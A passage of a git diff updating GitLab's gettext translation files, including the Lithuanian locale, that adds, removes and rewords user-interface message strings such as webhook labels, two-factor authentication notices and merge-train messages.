@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index bf8fadf2f3f..d825e9c2d24 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:47\n"
+"PO-Revision-Date: 2020-09-04 23:09\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -60,13 +60,13 @@ msgstr[3] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -516,7 +528,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -603,9 +615,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -624,6 +633,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -799,6 +829,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
